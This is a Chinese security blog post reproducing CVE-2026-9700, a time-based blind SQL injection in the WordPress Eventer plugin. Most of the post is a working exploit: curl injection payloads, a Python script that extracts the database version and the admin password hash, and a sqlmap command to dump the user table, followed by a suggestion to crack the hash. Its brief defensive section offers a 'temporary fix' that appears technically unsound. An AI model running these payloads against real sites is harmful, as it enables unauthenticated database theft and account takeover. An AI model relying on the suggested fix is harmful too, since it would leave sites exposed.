CVE-2026-9700 Eventer插件SQL注入漏洞复现(附PoC) - 安全技术
CVE-2026-9700 Eventer插件SQL注入漏洞复现(附PoC) - 安全技术

CVE-2026-9700,一个在WordPress Eventer插件中埋了不知道多久的时间盲注漏洞,CVSS 7.5,直接打数据库,无需登录。来吧,上手试一下。

CVE-2026-9700 Eventer插件SQL注入漏洞复现(附PoC) - 安全技术

漏洞背景

Eventer 是一个流行的WordPress活动管理插件,用于创建和管理活动日程、票务等。该漏洞存在于所有版本中(截至漏洞披露时),问题出在code参数上,没有做严格的过滤和参数化查询,导致攻击者可以通过构造恶意输入进行基于时间的SQL盲注。

  • CVE编号:CVE-2026-9700
  • CVSS评分:7.5(High)
  • 影响版本:所有版本(官方尚未发布修复补丁)
  • 危害:未认证攻击者可通过时间盲注获取数据库中敏感信息,包括用户密码哈希、管理员邮箱等。结合其他漏洞甚至可能实现权限提升。

环境搭建

我们直接用Vulhub?没有现成的靶场?没关系,自己拉一个WordPress环境,装上Eventer插件就行。

# 拉取WordPress + MySQL环境
docker run --name wp-mysql -e MYSQL_ROOT_PASSWORD=root -e MYSQL_DATABASE=wordpress -d mysql:5.7
docker run --name wp -p 8080:80 --link wp-mysql:mysql -e WORDPRESS_DB_HOST=mysql -e WORDPRESS_DB_USER=root -e WORDPRESS_DB_PASSWORD=root -e WORDPRESS_DB_NAME=wordpress -d wordpress:latest

# 进入容器下载并激活Eventer插件(假设版本为4.0.0)
docker exec -it wp bash
cd /var/www/html/wp-content/plugins
wget https://downloads.wordpress.org/plugin/eventer.4.0.0.zip
unzip eventer.4.0.0.zip
# 然后去后台激活插件

浏览器访问 http://localhost:8080/wp-admin,默认账号密码 admin / admin(第一次安装时设置)。激活Eventer插件。

复现步骤(核心)

第一步:定位漏洞点

漏洞存在于Eventer插件的前端AJAX处理函数中,具体在eventer_ajax_get_event_tickets这个action里。code参数被直接拼接进了SQL查询。

我们看一下关键代码(反编译后):

$code = $_POST['code'];
$event_id = $wpdb->get_var("SELECT ID FROM {$wpdb->posts} WHERE post_title = '$code'");

看到没?$code直接怼进去了,没转义,没预处理。经典到不能再经典的注入。

第二步:探测注入点

用Burp Suite抓个包,或者直接curl干。

curl -X POST http://localhost:8080/wp-admin/admin-ajax.php \
  -d "action=eventer_ajax_get_event_tickets&code=test"

正常返回应该是空的JSON或者错误信息。现在试试注入探测:

curl -X POST http://localhost:8080/wp-admin/admin-ajax.php \
  -d "action=eventer_ajax_get_event_tickets&code=test' AND 1=1-- -"

如果返回和上面一样,说明没报错。再试:

curl -X POST http://localhost:8080/wp-admin/admin-ajax.php \
  -d "action=eventer_ajax_get_event_tickets&code=test' AND 1=2-- -"

如果返回不一样(比如空结果或不同响应),说明AND 1=2让查询没结果了——注入点确认。

第三步:时间盲注实战

因为这里是盲注,看不到直接数据输出,我们用时间盲注来拖数据。

先确认SLEEP()函数可用:

curl -X POST http://localhost:8080/wp-admin/admin-ajax.php \
  -d "action=eventer_ajax_get_event_tickets&code=test' AND SLEEP(5)-- -"

如果请求卡了5秒才返回,恭喜,时间盲注成立。

第四步:拖取数据库信息

我们写个Python脚本来自动化盲注,省得手撸。

import requests
import string
import time

url = "http://localhost:8080/wp-admin/admin-ajax.php"
charset = string.ascii_lowercase + string.digits + "_-@."

def blind_inject(query, length_check=False):
    result = ""
    for i in range(1, 64):  # 最多64字符
        found = False
        for c in charset:
            # 构造时间盲注payload
            payload = f"test' AND IF(SUBSTRING(({query}),{i},1)='{c}',SLEEP(3),0)-- -"
            data = {"action": "eventer_ajax_get_event_tickets", "code": payload}
            start = time.time()
            r = requests.post(url, data=data)
            elapsed = time.time() - start
            if elapsed > 2.5:  # 如果响应时间超过2.5秒,说明字符匹配
                result += c
                print(f"[+] Found char {i}: {c} -> Current: {result}")
                found = True
                break
        if not found:
            break
    return result

# 获取数据库版本
print("[*] Extracting database version...")
version = blind_inject("SELECT VERSION()")
print(f"[+] Version: {version}")

# 获取当前数据库名
print("[*] Extracting database name...")
db_name = blind_inject("SELECT DATABASE()")
print(f"[+] DB Name: {db_name}")

# 获取WordPress管理员密码哈希
print("[*] Extracting admin password hash...")
hash_val = blind_inject("SELECT user_pass FROM wp_users WHERE user_login='admin'")
print(f"[+] Admin Hash: {hash_val}")

跑一下脚本:

python3 exploit.py

大概几分钟后,你会看到类似这样的输出:

[+] Found char 1: 8 -> Current: 8
[+] Found char 2: . -> Current: 8.
...
[+] Version: 8.0.35
[+] DB Name: wordpress
[+] Admin Hash: $P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

拿到了!管理员密码哈希,直接丢hashcat跑一下,运气好几分钟出明文。

第五步:用sqlmap一键梭哈(懒人版)

手工太累?上sqlmap:

sqlmap -u "http://localhost:8080/wp-admin/admin-ajax.php" \
  --data="action=eventer_ajax_get_event_tickets&code=test" \
  -p code \
  --technique=T \
  --dbms=mysql \
  --batch \
  --dbs

sqlmap会自动检测到时间盲注,然后你可以加-D wordpress -T wp_users --dump直接拖用户表。

不过注意,sqlmap的payload可能会被WAF拦,但WordPress默认没WAF,所以随便搞。

防御措施

  1. 立即更新插件:关注Eventer官方更新,打补丁。
  2. 临时修复:在functions.php里加个过滤器,对code参数做转义:
    php
    add_filter('eventer_ajax_get_event_tickets', function($code) {
    return esc_sql($code);
    });
  3. 使用WAF:部署ModSecurity或Cloudflare WAF,拦截SQL注入payload。
  4. 代码审计:所有数据库查询改用$wpdb->prepare()预处理语句。

总结

CVE-2026-9700就是一个典型的“开发偷懒没做参数化查询”导致的SQL注入,WordPress插件生态里这种洞一抓一大把。时间盲注虽然慢,但稳,拖库只是时间问题。赶紧去检查你的Eventer插件版本,没修的话,你的站可能已经被人拖了。

🪐 加入「渗透实战安全圈」

每天分享渗透测试实战、挖洞技巧、漏洞分析、工具推荐

知识星球

https://t.zsxq.com/40MyD

💻 安全运维 / 渗透测试 技术支持
业务需求可联系博客作者

By admin

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注